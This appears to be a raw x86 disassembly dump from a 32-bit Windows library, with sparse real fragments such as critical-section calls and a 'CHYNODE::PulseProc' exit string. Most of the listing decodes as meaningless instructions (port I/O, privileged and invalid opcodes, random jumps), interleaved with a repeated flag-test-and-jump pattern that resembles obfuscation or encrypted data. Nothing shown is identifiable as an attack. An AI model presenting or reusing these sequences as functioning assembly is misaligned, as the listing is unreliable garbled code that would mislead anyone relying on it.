js 0x100946ca
lahf
dec esi
mov ch, 0x3c
push ds
aad 0xb6
in al, dx
rol dword [ebx - 0x2d], 0xc9
dec esp
push eax
insd dword es:[edi], dx
add dword [esi], ebx
inc esp
in eax, dx
and edi, dword [eax + 0x4edfc021]
in eax, dx
cmp bh, byte [eax]
aas
mov esp, 0x9353cc36
pop ebp
out 0xfa, eax
shl byte [eax], 1
ja 0x100947d3
stosb byte es:[edi], al
mov ecx, 0x4d65e0ff
cmp dword [edx + 0x33], ecx
adc eax, 0xa1a83e47
js 0x1009472a
sbb byte [eax + esi*8 + 0x3f], bh
cli
dec ecx
daa
xor byte [ebx], 0xc1
scasd eax, dword es:[edi]
mov al, 0x94
sbb cl, byte [0xda030691]
dec esp
mov dh, 0xb0
test al, 0xa3
popfd
call fcn.1004b955
lea eax, [ebp - 0x14]
push eax
call fcn.1011e6dd
sti
dec dword [ebp - 0x17af13bb]
dec ebx
lahf
or byte [eax], al
mov esi, dword [ebp + 8]
pushfd
test byte [0x10094894], 0xd4
jne 0x10094895
int3
std
out 0xad, al
pushal
cmp byte [ecx + 0x61c10493], bh
sbb eax, 0x38b8ca3d
std
shr dword [eax], cl
int3
sbb esi, dword [edx]
mov dl, 0xc
les esi, [ebx - 0x60]
jns 0x10094808
add eax, 0x82a8fd3
jb 0x100947e1
dec ebx
cld
and dword [ebx - 0x7272389c], 0x3505176e
test al, 0x2d
das
mov al, 0x26
and al, 0x7b
ja 0x10094787
xor byte [eax], ch
scasd eax, dword es:[edi]
enter 0x55f3, 0x23
inc ecx
mov ch, 0xe8
push esi
cmpsw word ss:[esi], word es:[edi]
movsd dword es:[edi], dword [esi]
xchg edx, eax
sub cl, byte [eax + 0x77f45e56]
xchg byte [esi], ch
inc ecx
das
ja 0x100947b9
stosb byte es:[edi], al
or al, 0x45
dec eax
push es
pushfd
sahf
test al, 0x7a
enter 0xffffffffffffe739, 0x43
in eax, dx
nop
cmp dword [ebx + esi*2 + 0x6d991b5b], ebx
add byte [ecx + 0x6b84807b], cl
cmp dword [ebx - 0x55fa2791], eax
inc edx
sbb al, 0x1e
jno 0x100948ad
mov bl, 0x2f
adc dword [0xc2db3e47], 0x8d43027e
mov cl, byte [edi + 0x726bb1d]
jnp 0x1009489f
in al, 0x11
adc ebp, dword [edx - 0x61]
add al, byte [edx]
add byte [esi - 0xa12db27], cl
adc byte [esi + 0x76], al
cmc
mov dh, 0xe1
add byte cs:[esi + 0x66c59523], al
popfd
jecxz 0x1009489d
stosb byte es:[edi], al
fmul qword [esi - 0x2e]
into
push esp
cmp eax, 0xd164d6a4
xchg esp, eax
sub dword [ecx], 0xe
sbb eax, 0x99bf4771
call 0x73ac50cb
add eax, 0x45636248
dec eax
inc eax
push ebx
scasd eax, dword es:[edi]
cmp edx, esp
popfd
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
call fcn.1004e523
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 8]
pushfd
sti
dec dword [ebx + 0x450bf445]
clc
pushfd
test byte [0x1009490b], 0xc9
or dword [eax], edx
leave
jne 0x10094a0c
dec eax
dec ebx
inc byte [ebp + 0x46c2cc5b]
adc bl, byte [ebp - 0x50bc9e9f]
fcmovu st(0), st(7)
and eax, dword [esi - 0x64]
fbld tbyte [ebx]
inc esi
pushfd
fld dword [ebx - 0x23dda880]
rcl ah, 0xfe
nop
inc edx
out 0xf8, al
xchg ebx, eax
jo 0x100948e7
xchg byte [eax], bl
sar byte [esi], cl
mov edx, 0x1950def2
or eax, 0x456173a9
inc ebp
and esp, dword [edi + 0x21]
aad 0xc6
xor ah, byte [edx]
mov dword [0xcb2dd468], eax
test dword [esi + ecx*4], ecx
sbb dl, byte [0xd876320d]
adc al, byte [edi - 0x1459fc85]
add eax, 0x4a0772e3
sub byte [esi + 0x2867a3eb], bh
popal
addps xmm3, xmm3
mov edx, dword [ecx - 0x4d]
mov ah, 0x4e
inc esp
insd dword es:[edi], dx
or al, 0x1a
dec esi
push ecx
add al, 0x74
dec edi
aas
pop ds
mov dword [0x72169c8], eax
clc
dec edi
mov eax, 0x5ba5f10f
inc edx
jnp 0x100948c5
sub esp, dword [edx - 0xd346ea]
push eax
imul esp, edi, 0x1a
jecxz 0x100948fe
cmp dword [ecx + 0x10], ebx
pop ds
insb byte es:[edi], dx
sbb bh, dh
sub esp, dword [ebx - 0x69]
inc esi
mov word [ebx - 0x9c6bea2], gs
cmp cl, al
xor cl, byte [eax - 0x7919070b]
cmp bl, byte [edi + 0x3bda93b7]
xchg ebx, eax
fidivr dword [ebx]
sbb dword [ebp + 0x22], esi
push edx
cmp al, 0x66
mov al, 0xa0
cdq
mov bl, 0x3c
mov bh, 0xc4
xor byte [edx], dl
add eax, 0xf5e2fa40
xchg edi, eax
sbb al, 0x90
xchg esi, eax
js 0x1009495d
cmpsd dword [esi], dword es:[edi]
in al, 0x58
push ecx
mov bh, byte [ebp - 0x15]
add byte [edi - 0x209f99c5], dh
cli
nop
and eax, 0xbc4d2400
and byte [edi - 0x1e57f012], bl
movsd dword es:[edi], dword [esi]
shl dword [ecx + 0x78], 0x80
jl 0x10094a0d
cmp byte [ecx + esi*2 - 0x24], 0xa8
xchg esp, edi
pop esp
scasd eax, dword es:[edi]
fsubr qword [eax - 0x50a30379]
in al, dx
or ebp, edi
into
xchg ebp, eax
xchg ecx, eax
test al, 0xb8
jno 0x10094999
sbb cl, byte [edx + esi*2 + 0x72]
adc bh, al
xor dword [esi], 0xffffff8a
pushfd
xor eax, dword [ebp + 0x78]
and byte [0x6cb04ac3], ah
sbb eax, 0x735aa02e
mov eax, dword [0x96f0e590]
and dword [edx + 0x6c462eda], 0xf87d22a8
int1
mov dh, dh
clc
je 0x100949ed
dec ecx
je 0x10094a47
add byte [edi + ecx*2 - 0x1e1424a8], ch
pop ebp
dec byte [esi + 0x616f8ad7]
mov cl, 0x2b
xor eax, 0xbe0178b9
sbb edx, esi
xchg ebp, eax
mov ecx, 0x19be0178
xchg ebp, eax
push cs
scasb al, byte es:[edi]
int1
dec ebx
das
daa
pushfd
add ch, bh
cmp byte [eax - 0x52322153], al
sal dword [ebx + 0x6abd2885], cl
les ebx, [eax + 0x41]
popfd
pop ecx
je 0x10094e8a
mov ebx, dword [ebp - 0x10]
cmp dword [ebp - 8], ebx
pushfd
test byte [0x10094a5a], 0xf4
jne 0x10094b5b
sbb dh, al
inc ebp
mov bh, 0xf6
pop ds
neg byte [edi]
jne 0x10094a2c
into
dec ebx
and byte [edi + 0x68933ad1], bl
pop esi
movsd dword es:[edi], dword [esi]
cmp eax, 0xbd027d24
dec esp
mov ch, 0x80
stosd dword es:[edi], eax
or edi, dword [edx + edx*2 + 0x28fc9aef]
aaa
cmc
loopne 0x10094a9c
lcall 0xe02e, 0xf53728fc
dec ebp
inc edx
fnstenv [esi + 0x48fcdb88]
inc ecx
inc esi
aad 0x39
pushal
stc
sar byte [edx], 0x3e
outsd dx, dword [esi]
push esi
or dword [ecx - 0x3a], 0x2af4bc89
xchg esi, eax
in eax, dx
sub eax, 0xe4c87da9
mov ah, bh
outsb dx, byte [esi]
cmp bh, 0x3f
mov bh, 0xde
inc ecx
test dword [edx], 0x75cb3391
sub dword [esi + 0x1cbc8591], edi
pop edi
xor eax, 0x95c8aa06
arpl ax, ax
pop ss
cmp al, 0xeb
and eax, 0xe8d42cea
out 0x9e, al
xor byte [edi - 0x16], 0x36
inc esi
scasd eax, dword es:[edi]
mov cl, 0x69
outsd dx, dword [esi]
pop ss
xchg bh, dl
mov dl, 0x1d
test byte [eax + 0x4a], al
jl 0x10094afa
xchg ebp, eax
clc
jecxz 0x10094b12
in al, 0x12
cmp eax, 0x3c972284
movsb byte es:[edi], byte [esi]
xchg edi, eax
cmp al, 0xa4
insb byte es:[edi], dx
mov fs, word [ebx]
sbb bh, byte [ebx - 1]
pop ebp
movsb byte es:[edi], byte [esi]
outsb dx, byte [esi]
jl 0x10094af0
cmp al, 0x5e
aad 0x78
in eax, dx
in al, 0x81
sub cl, byte [ebx - 0x7db46166]
movsb byte es:[edi], byte [esi]
jnp 0x10094a9c
inc eax
add byte [edx], dh
stosb byte es:[edi], al
and dl, dh
push 0x71911883
aad 0x4f
int 0xdd
idiv dword [eax - 0x1a]
xor al, 0x73
xchg dword [0x668294fc], eax
push ecx
sub al, 0xf1
xchg dword [eax + edi*4], esi
xor al, 0xb8
mov ecx, 0x7e9cdf35
inc ecx
add byte [eax + 0x9ddfefe], al
sub al, 0x86
sti
mov es, word [bx]
or eax, 0xf5573f25
add dword [esp + eax*2 - 0x6a158d9d], ebx
adc dword [edx + 0x794230d], esp
push esp
invalid
or eax, 0x54079423
sbb byte [edx - 0x39bab94e], dh
nop
jno 0x10094ab3
idiv byte [ebp + 0x6c61c17d]
fst qword [esi + 0x72]
sub eax, 0x9a4fc1d5
push esp
mov bh, 0xcb
push eax
js 0x10094abe
adc edx, dword [ecx + ecx*8 - 0x1a]
or al, 0x7d
add eax, 0xda538339
sbb edi, dword [ebp + 0x71c9320b]
sbb dword [esi - 0x14e6bb54], esp
lodsb al, byte [esi]
inc esp
sbb ebx, ebp
imul ebx, dword [ebx - 0x6c4c065a], 0x7b06fef1
push cs
mov ch, 0x46
test al, 0x41
popfd
jg 0x10094e8a
mov ecx, dword [ebp - 0x14]
pushfd
test byte [0x10094c0d], 0xe4
je 0x10094c0e
add al, ah
std
loopne 0x10094b72
call [ebx]
xchg ebp, eax
loop 0x10094b2f
sti
and dl, byte [ecx]
sub dh, ah
lodsb al, byte [esi]
imul esp, dword [ebp - 0x45], 0x9a04925a
stosb byte es:[edi], al
adc ebp, ebx
mov edx, dword [ecx + 0x55f4d8ab]
fdiv st(4)
push ebp
js 0x10094b48
mov eax, 0x41a3d6e4
cmc
mov ecx, 0xfbeb540d
adc eax, 0x8991b5ec
pop esp
lodsd eax, dword [esi]
xchg esp, eax
mov bh, 0x3b
in al, 0xd4
sbb eax, 0x9f7bab19
xchg esp, eax
mov bh, 0xae
push ds
lodsb al, byte [esi]
jge 0x10094bc6
jecxz 0x10094bea
std
pop ecx
jno 0x10094c20
jbe 0x10094b99
adc eax, 0xdbccdc0b
mov eax, 0xea85572a
test edx, ebp
push 0x76
stosd dword es:[edi], eax
add edx, dword [edi]
and bl, al
in eax, dx
loop 0x10094c35
sub dword [esi], eax
ror dh, 1
jns 0x10094b7f
mov esi, 0x5589eb00
jecxz 0x10094b8d
rcr edi, 1
stosb byte es:[edi], al
inc esi
test dword gs:[edx], ebx
push ebx
fidiv dword [esi + 0x6480d325]
int3
and eax, 0xcc6480d3
xchg ebx, eax
arpl word [esi - 0x12], ax
pop edi
push esp
xchg edi, eax
xchg esp, eax
scasb al, byte es:[edi]
insb byte es:[edi], dx
push eax
out 0x74, eax
cld
cdq
inc esp
pushal
pop ebp
push ebp
xchg esi, eax
xor edx, dword [ecx + 0x49]
dec ecx
and dword [edx - 0x49], edi
in eax, dx
push ebx
mul dword [esi + 0xb]
popfd
jl 0x10094c1a
cmp dword [ebp - 0xc], ecx
ja 0x10094e8a
mov edi, dword [esi + 0x748]
sub ecx, dword [ebp - 0xc]
mov eax, edi
sbb ebx, dword [ebp - 8]
cdq
cmp ebx, edx
jg 0x10094e88
jl 0x10094cd1
add byte [eax], al
cmp ecx, eax
pushfd
test byte [0x10094cc9], 0x4a
jne 0x10094cca
sub eax, 0x51c7e790
xchg edx, eax
xchg esp, eax
arpl si, bx
sbb eax, 0x421e2bb
sar byte [ebx + 0x60], 1
pushal
out dx, al
cmp byte [ebp + 0x4731c8ae], ch
jl 0x10094c84
mov ch, 0x7f
push esi
xchg esp, eax
dec esp
js 0x10094c58
pop edx
into
loop 0x10094c05
mov dl, 0xa6
imul esi, dword [ebp - 0x6ab638e2], 0x54
add dword [edi - 0x1d], ecx
in al, 0x41
adc ebp, dword [ebx]
xchg esp, eax
and dword [edx + 0x362056d], ecx
xchg ebp, eax
inc edx
sub dword [ebx + 0x31], ebx
sub edx, dword [ebp - 0x56]
pop esi
sal ah, 0x34
inc esp
pop ecx
pop edi
out 0xe1, eax
and esp, dword [eax + ebx*2 + 0x7d827c1f]
lea esi, [ecx + 0x5b8fdb1f]
pushal
xchg ebx, eax
jne 0x10094d0a
call 0xd0ef113c
js 0x10094d1f
dec ecx
daa
inc esi
das
mov dh, 0xf5
lodsb al, byte [esi]
in al, dx
add ecx, eax
and al, 0x69
imul esp, edi, 0x46ca4f0c
sub dh, byte [edx + 0x4083f227]
xchg ebx, eax
int 0xa3
jb 0x10094d43
popfd
jae 0x10094e88
sub edi, dword [ebp - 0x14]
pushfd
test byte [0x10094daf], 0xf
jne 0x10094db0
sal dword [edi + edi*2], 0x23
sub dword [ebp - 0x2c], ecx
cmp dl, dl
adc byte [edi - 0x26], dl
mov ebx, 0xe3ee2520
mov eax, 0x3c2618d1
sti
nop
xor al, 0xce
add al, 0x99
inc ecx
or bh, ah
out dx, al
or eax, 0x996494b9
sti
lodsd eax, dword [esi]
xchg ecx, eax
test eax, 0x3b63351d
dec edi
xor byte [ebx - 0x53cdd1c0], 0x67
and cl, ch
add dword [ecx + esi*8 - 0x2c5389ac], esp
sbb ebp, dword [ecx + 0x2456d6b4]
lodsb al, byte [esi]
rcr dword [ebx], cl
test eax, 0x2456d6b4
fisttp word [eax - 0x19]
dec esp
sub eax, 0x2735a9d8
and eax, 0x6d23bc90
enter 0xffffffffffffbe4b, 0xffffffffffffff9f
int1
cdq
movsb byte es:[edi], byte [esi]
xlatb
inc ecx
out dx, al
mov ebx, 0x3f0591e4
cmp bl, byte [eax + ebp + 0xc]
xor byte [ebp + 0x2f], cl
add eax, 0x285c3a3f
or al, 0x30
dec ebp
das
lea ebp, [ebp - 0x20]
out 0x2f, al
mov dword [0x9de67eae], eax
ror dword [0x4702a4f6], 1
mov ch, 4
inc ebp
mov eax, 0xc30ca926
inc esp
dec eax
xor al, 0xce
jb 0x10094d91
mov al, 0xfe
imul ebp, dword [esi + 0x62acca09], 0x16
mov eax, 0x9304f570
popfd
push ebp
imul eax, dword [eax], 0xfdff84bb
pushal
pop edx
add bh, byte [edx]
mov ecx, 0xb6f2681e
std
inc ebx
aas
xchg edx, eax
cld
mov ebp, 0xfab643f7
mov dh, 0xfa
jne 0x10094d8b
sahf
jecxz 0x10094e11
salc
sub al, 0x3a
inc ecx
not byte [esi - 0x4e1cac73]
int1
or byte [esi + eax*4 - 0x13], 0x1b
out dx, eax
cmc
cmp eax, 0xc658ef62
popfd
mov ecx, esi
pushfd
test byte [0x10094e74], 0x7b
jne 0x10094e75
call 0xd36123cb
idiv dword [ebx]
mov edx, eax
outsb dx, byte [esi]
std
test byte [edx + 0x12db5856], cl
fild qword cs:[eax - 0x71af9b9c]
jnp 0x10094de3
lds eax, [edi]
in al, 0x1f
pop eax
inc ebp
adc esi, dword [edi - 0x4ef83c66]
lcall 0xa779, 0x69b107c3
sbb al, 0x6b
fadd dword [eax - 0x1fc14848]
sbb bh, byte cs:[ebx - 0x2e]
imul edi, dword [ecx - 0x59], 0x80d86b1c
mov eax, 0x2ee03eb7
sbb bh, byte [ebx - 0x2e]
push ecx
pop edx
stosb byte es:[edi], al
fadd st(5), st(0)
xchg edi, eax
cdq
shl byte [ebx + esi*8 - 0x5c], 1
and eax, 0x3d9a4e20
aas
or ebx, dword [ebx - 0x1d3b9cfc]
mov dword [0xeeb6cc59], eax
loop 0x10094db1
pop ecx
int3
out dx, al
daa
push ss
aaa
mov esp, 0x88df40b9
ja 0x10094de7
xor dh, byte [edx + 0x4a]
xchg ecx, eax
clc
loopne 0x10094e0c
dec ebp
aad 0x18
inc esi
std
sbb ax, cx
fmul dword [esi + eax*4 - 0xa6b6a5c]
ja 0x10094e1a
fcomp qword [edx]
mov ebx, 0x959cd1ac
insb byte es:[edi], dx
push esp
pop ebp
inc ebx
adc dword [edx - 0xb], edi
fcom dword [ebx + 0x17]
pop edx
xor byte [edx], 0x57
test al, 0xd3
mov eax, dword [0x1c12e67e]
out dx, al
aas
push es
adc eax, 0x7b4d8444
int 0x82
xchg ah, dh
xor al, 0x31
ja 0x10094e13
jg 0x10094dee
jnp 0x10094ebe
test esi, esi
mov ebx, 0x4e1c4255
pop edi
push esp
sub edx, dword [edi + edx - 0x69]
inc esi
popfd
add edi, dword [ebp - 0xc]
push edi
call fcn.100580ae
cmp eax, 1
je 0x10095170
xor edi, edi
cmp byte [esi + 0x1c], 5
jae 0x10094fb6
pushfd
test byte [0x10094f48], 0xb9
jne 0x10094f49
insb byte es:[edi], dx
pushfd
popfd
in eax, 2
fcomp qword [eax + 0x48]
adc eax, 0x3a2c9af8
jle 0x10094f0b
adc byte [edx + 0x6c51d6a2], 0x82
xlatb
pushfd
scasb al, byte es:[edi]
test eax, 0x5c30f924
pop es
push ecx
xor byte [edi + eax + 0x51], bl
fisttp word [edx]
stosd dword es:[edi], eax
test byte [ebp - 0x34], dl
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
or ebx, ebp
test esi, ecx
or ah, dh
jl 0x10094f1e
inc byte [eax + 5]
adc eax, 0x48004f0f
add esi, dword [eax + 0x4860c28a]
in al, dx
in al, 0x18
arpl cx, ax
pop eax
push ebx
sti
push ecx
inc ecx
sbb eax, ebp
cmp byte [ecx - 0x680c3f36], dh
or eax, 0x9878ecb5
in al, dx
pop edi
jo 0x10094f05
adc eax, 0xcb756aa4
fidivr word [esp + ecx*2 - 0xc1e2173]
or eax, 0x9e45fcc5
invalid
cld
inc ebp
sahf
add esi, dword [edi + eax - 0x15]
add byte [edi - 0x23d86069], 0x41
push edi
scasb al, byte es:[edi]
out 0xda, al
xor ecx, dword [edi]
adc dword [eax + 0xf182e6b], edx
movups xmmword [eax + 0xf182e6b], xmm2
aaa
std
cwde
push ds
push eax
xchg esp, eax
mov edi, 0x13e19de4
les ecx, [ebx - 0x78]
mov al, 0x5b
mov dh, byte [esi + 0x4e]
adc al, 0x59
mov word [edx - 0x6f], ds
sbb al, 0x23
ror bh, cl
pop ss
pushfd
daa
dec eax
cmp bh, ah
push edx
popfd
cmp dword [esi + 4], edi
pushfd
test byte [0x10094f8a], 0x99
jne 0x10094f8b
push ebx
je 0x10094efa
inc eax
xchg ebp, eax
fcmovnbe st(0), st(4)
je 0x10094f92
cmp esi, 0x38
xchg ecx, eax
add bl, byte [ecx + 0x3d1bd542]
test cl, bl
out 0x28, al
push ebx
cmpsd dword [esi], dword es:[edi]
dec esp
shr byte [esp + ebx + 0x3c4977cb], 0xfd
push edx
push 0x29264819
cmp al, 0x44
sub byte [ebx], dh
stosb byte es:[edi], al
pop eax
mov ecx, 0x20210110
into
popfd
je 0x10094fb6
mov ecx, esi
call fcn.10090c02
lea ebx, [esi + 0x7b0]
mov esp, 0x9e8dffff
mov al, 7
add byte [eax], al
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc byte [esi + 0x1c]
mov ecx, esi
call fcn.10055b58
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ebx, [esi + 0x7b0]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, esi
call fcn.10057b79
mov ecx, esi
call fcn.10055b58
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x14]
push eax
call fcn.1011e6dd
lea eax, [ebp - 0x14]
push eax
pushfd
test byte [0x10095096], 0xee
jne 0x10095097
and dword [edx], edx
dec ebp
or al, 0xb0
arpl word [ecx], cx
lodsd eax, dword [esi]
outsd dx, dword [esi]
adc esp, edi
jne 0x10095034
or dl, byte [eax + 0x1b2bd221]
neg eax
mov bl, 0xa0
inc eax
neg eax
lds ebx, [0x336c7a9c]
int3
dec esi
mov cl, 0xfa
mov cl, 0x68
into
and dword [edx], edx
cdq
daa
rcr edx, 1
scasb al, byte es:[edi]
sti
salc
mov byte [ebp + 1], 0xe9
xor dword [ebp + ecx*2 - 0x68a31108], ebx
scasd eax, dword es:[edi]
push cs
mov esp, 0x6cc1f480
call 0x7be52ef4
out dx, eax
mov esi, 0xac0e2ff1
test dword [edi], 0x151e4f4f
push 0xfb3b7349
push edx
mov dword [esi + 0xf3cb083], edx
sub byte [ecx], dh
push es
sti
cmp esi, esp
or bh, byte [edi + 0x57e6d16e]
or dword [esi + ebp*4 - 0x6b], edx
mov dh, 0xc7
sub eax, 0xa4562a1d
dec ecx
add eax, 0x27f5b034
dec ebp
push esp
stc
jae 0x10095056
popfd
call fcn.1004e537
pushfd
test byte [0x10095167], 0xd9
jne 0x10095168
jle 0x10095086
insb byte es:[edi], dx
dec edi
popal
mov al, byte [0x573af464]
mov edi, 0xb7ba4474
dec eax
mov dh, 0xb
mov dl, 0x82
adc ecx, dword [ecx + 0x2a]
push 0xe
push eax
sbb eax, 0x7385a6f1
dec esi
sub eax, 0x26bf378d
out 0x81, eax
add byte [edi + 0x2eff141d], 0xdd
adc ch, byte [esi]
or byte [0xb525bb31], cl
stosd dword es:[edi], eax
fcomp qword [eax + 0x32c943f7]
nop
lodsd eax, dword [esi]
dec ebx
lodsd eax, dword [esi]
loopne 0x10095110
test al, 0xc8
cld
outsd dx, dword [esi]
mov esp, 0xd1fdc376
push esi
movsd dword es:[edi], dword [esi]
les ecx, [ecx]
adc byte [edx], cl
test dword [edi + 0x15], esi
inc edx
mov bh, 0x34
mov bl, 0x43
lea esi, ss:[edi - 0x20]
or al, 0xa4
mov dh, ch
cld
sar bh, 1
shr byte [ecx - 0x2a], 0xb9
sub al, 0x24
push dword [edi + 0x45cc7abe]
mov ebp, 0x59d5fdd
enter 0xfffffffffffff936, 0xffffffffffffff92
inc edx
push ecx
add eax, 0x921fceb
div byte [esi + 0x892f347]
inc esi
movsd dword es:[edi], dword [esi]
fist dword [ebx]
test al, 0xed
xchg edx, eax
dec ebp
push es
and eax, 0xbff3a69c
push 0x2c
and byte [ecx + 0x50f24665], 0xb8
inc ecx
aas
sub cl, bl
jle 0x10095180
pop esi
inc eax
jle 0x1009519c
mov eax, esi
and dword [edx + 0x24987028], eax
test al, 0xed
popfd
pop ecx
pop ecx
jmp 0x10094899
push str.CHYNODE::PulseProc:HyNode_PulseProc_Exit
pushfd
test byte [0x100951a5], 0x3d
jne 0x100952a6
add dword [eax], eax
add byte [ebx - 0x27], dh
jae 0x1009515e
aas
adc ebp, dword [ecx]
adc dword [edi + 0x13], ebp
insb byte es:[edi], dx
fstp dword [edi + ecx + 0x483d5af4]
cmp byte [ecx + 0x2f], 0xdb
ror dword [edi - 0x3f], 0x7e
sub dword [edi - 0x1084f38c], 0x59
pop edx
cmp eax, 0x2f798248
fcmovnb st(0), st(1)
dec edi
sar dword [esi - 0x7d], 0xaf
scasd eax, dword es:[edi]
je 0x100951ab
jnp 0x10095190
pop ecx
fidiv dword [ebp + 0x14487e96]
and esi, ebp
mov ecx, 0xd6f03e97
mov bh, ch
push ss
mov esp, 0x30f8a8bd
push ds
xchg edi, eax
invalid
mov ebp, 0x1e30f8a8
adc byte [edx], al
dec ebx
lahf
pop es
push edi
mov gs, word [ecx]
push cs
dec esi
movsb byte es:[edi], byte [esi]
mov dword [0x77083166], eax
pop esp
sbb dword [eax], esp
aas
leave
adc al, bh
sbb esi, dword [ecx + 0x6d3a5e21]
cmc
jl 0x10095232
movsb byte es:[edi], byte [esi]
repne stosd dword es:[edi], eax
sar dword [edx], 0x63
cld
out dx, eax
sbb byte [esi], 0x2b
in eax, 0x3b
in eax, 0x1a
mov eax, dword [0xa8ac87a]
jp 0x100951b3
mov cl, byte [edx]
imul esi, ebx, 0x4e5cadc8
fsubr st(0), st(0)
and dword [edx - 0x5c1cd3f7], eax
xchg esi, eax
add eax, 0x4d239ad0
xchg ecx, eax
bound ebx, qword [eax]
pop es
cli
pop ss
add edx, esp
pushfd
adc al, 0xaf
out 0x39, eax
pushal
add bl, byte [edi + 0x2b82d08c]
scasd eax, dword es:[edi]
push ebp
pop edi
sub edi, dword [eax - 0x5f]
and al, 0x6c
and al, 0xc4
cmp dword [ecx - 0x4b], ebx
fmul qword [ecx + 0x65]
mov ah, 0x96
dec ecx
mov ah, 0x96
push ecx
dec esp
pop ebx
mov eax, 0xab1a14d0
add dword [eax], esi
add esi, esi
loop 0x1009524e
mul dl
sbb dword [0x41ec406b], eax
add eax, 0x41ec406b
mov ah, 0xf2
jge 0x100951e9
insb byte es:[edi], dx
imul ebp, dword [ebp - 0x20], 0x1ffe0842
push edi
stosd dword es:[edi], eax
std
imul ebp, esp, 0x55c1893d
push ebp
xchg edi, eax
outsd dx, dword [esi]
test al, 0xf9
ja 0x100952b1
out dx, eax
loopne 0x10095261
xor eax, 0xbe0f1ef0
aas
sbb byte [edi + 0x2e], ch
mov bl, 0xc3
push 0xffffffffffffffc4
pushfd
in eax, 0x6e
xchg edx, eax
mov dh, byte [edx - 0x7b]
jle 0x10095223
fnsave dword [edi + 0x328370a]
dec edi
jmp [ebx]
popfd
push 0
push 0
call fcn.10049c0c
mov eax, dword [ebp - 4]
inc ebp
cld
add esp, 0xc
pop edi
pushfd
test byte [0x10095310], 0x81
je 0x10095311
mov dl, 0xcd
push eax
loop 0x100952dd
push cs
xchg ebp, eax
mov cl, 0x2c
in al, 0x9a
dec edi
shl dword [ebx], cl
sbb eax, 0x27a71138
mov byte [edx], al
outsd dx, dword [esi]
dec esp
xor al, 0xbb
inc edx
jae 0x10095311
xor edi, dword [esp + esi*2 - 0x48]
call 0x3a418012
xchg ebx, eax
arpl sp, si
cmp al, dh
jl 0x10095354
mov eax, 0x382d2ce8
sub dl, byte [ebx - 0x39c50b9d]
mov edi, 0x57eb514f
lodsd eax, dword [esi]
dec eax
cmp eax, 0xec702001
and ecx, edx
in al, 0xde
add edi, ebx
clc
cmp eax, dword [edi + 0x72d4385d]
cmp ebx, esp
shl dword [esi + 0x2b8008a4], 0xa8
adc al, byte [ebp - 6]
push edx
popfd
pop esi
pop ebx
leave
ret 4
add eax, 0x10095409
cmp ecx, dword [edi]
test dword [edx - 0x30000000], ebp
lcall 0x81d, 0x8750274e
sbb al, 0x88
cmp byte [esi + 0x76], dh